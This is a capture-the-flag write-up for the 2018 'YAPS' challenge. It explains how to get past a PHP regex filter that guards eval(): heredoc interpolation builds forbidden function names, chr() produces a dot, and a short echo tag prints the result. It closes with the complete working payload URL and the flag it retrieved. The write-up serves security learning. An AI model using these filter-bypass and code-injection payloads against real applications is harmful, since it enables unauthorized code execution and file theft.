YAPS
Author: trupplesContest: Timisoara CTF Finals 2018
This was one of the most engaging challenges and our team had a lot of fun working together towards the solution.
<?php
$k = $_REQUEST['k'];
// just one simple trick.. now all hackers hate him
if (preg_match("/[\w]{3,}/is", $k) || preg_match("/\.|\"|'|\[/s", $k) || strlen($k) > 100) die('nope');
eval($k);
highlight_file(__FILE__);
It consists of a PHP file which eval()’s a GET parameter if it passes some
checks, namely it must be shorter than 100 characters, it can not contain any
.
, '
, "
or [
characters, and it can’t have more than two consecutive
letter or underscore combinations. We approached these restrictions from quite
a different perspective than the one presented in the author’s writeup [1] so
be sure to check it out as well.
Strings longer than 2 word characters
One thing we really needed to figure out was being able to construct strings with more than 2 word characters. We tried some methods of appending small 2 character strings and eventually settled on heredoc variable interpolation.
In PHP there are a bunch of ways of writing out strings. The simplest is just writing some word characters not enclosed by anything and not separated by any non-word characters:
$a = mystring;
var_dump($a); # => string(8) "mystring"
Two other string syntaxes are single and double quoted strings but we can not
use those because the check would fail. The last and most useful one for this
task is the heredoc [2] syntax. It has its drawbacks such as more “wasted”
characters and the inability to inline it as it is only available for
$var = string;
statements. The syntax is as follows:
$b = <<<DELIMITER
string
can be
multiline
DELIMITER;
var_dump($b); # => string(23) "string
# can be
# multiline"
The conditions for this to work are that the two delimiters must be the same and that there must be a newline after the first delimiter and immediately before the second.
One useful feature of double quote and heredoc strings is variable interpolation. This means that variable names inside strings will be replaced with the variable’s contents. For example:
$a = "Hello,";
$b = "World!";
$greeting = <<<TRUPPLES
$a $b
TRUPPLES;
echo $greeting; # => Hello, World!
We used this to create strings longer than the 2 character limit like so:
$a=re;
$b=ad;
$c=fi;
$d=le;
$e=<<<Z
$a$b$c$d
Z;
echo $e; # => readfile
This can be further optimised by inlining the $a
part, thus saving 4
characters:
$b=ad;
$c=fi;
$d=le;
$e=<<<Z
re$b$c$d
Z;
echo $e;
No .
characters
For our first payload we tried embedding the flag filename and readfile
function name in the payload itself. This proved difficult as flag.php
contains a .
character which is forbidden. Later on we changed the payload to
a much simpler and more flexible one.
To be able to use a .
character we used the chr()
function, but because its
name is longer than 2 characters we needed to build its name like in the
snippet from before.
$a=hr;
$b=<<<Z
c$a
Z;
$c=$b(46);
echo $b; # => chr
echo $c; # => .
To build the flag filename we did the following:
$a=hr;
$c=<<<Z
c$a
Z; # chr
$a=ag;
$b=hp;
$B=<<<Z
fl$a{$c(46)}p$b
Z;
# fl$a{$c(46)}p$b
# |||| | |||
# flag . php
Function choice
Initially we tried using file_get_contents
, readfile
and some others but
couldn’t get under the 100 char limit. Using the file
funtion we were able to
do so and read the flag file line by line. It is comparatively way shorter and
this is very helpful, especially for this task where every byte mattered.
One trick we needed to use is using curly brackets instead of square brackets for indexing the returned line array:
file("flag.php"){2} # works
file("flag.php")[2] # gets matched by regex - would have worked the same
Getting back the results
Now we’re able to read the flag file but there’s a slight problem. readfile
sends the file contents to the output buffer, which is most convenient, whereas
file
returns them.
The first option to think of is echo
-ing the return value but it cannot be
used as it’s 4 characters long. Another variant would be creating a string
like we did with chr
with the name of the var_dump
or print_r
functions,
but that got over the 100 character limit.
What worked out well was using an <?= expression ?>
short echo tag which
evaluates the given expression and then echo
-es the result. For example:
<?php
$A = "file_get_contents";
$B = "http://example.com/";
?>
<?= $A($B) ?> # => echoes the contents of the example.com index page
The first payload
To put it all together, out first payload looked like:
# $c = 'chr'
$a=hr;
$c=<<<Z
c$a
Z;
# $A = 'file'
$b=le;$A=<<<Z
fi$b
Z;
# $B = 'flag.php'
$a=ag;$b=hp;$B=<<<Z
fl$a{$c(46)}p$b
Z;
?>
# Print file("flag.php")[2]
<?=$A($B){2}?>
Or in URL form:
http://89.38.210.129:8095/?k=$a=hr;$c=<<<Z%0Ac$a%0AZ;%0a$b=le;$A=<<<Z%0afi$b%0aZ;%0a$a=ag;$b=hp;$B=<<<Z%0afl$a{$c(46)}p$b%0aZ;%0a?><?=$A($B){2}?>
Accessing this URL got the flag:
// timctf{not_so_much_intended___new_flag_for_you}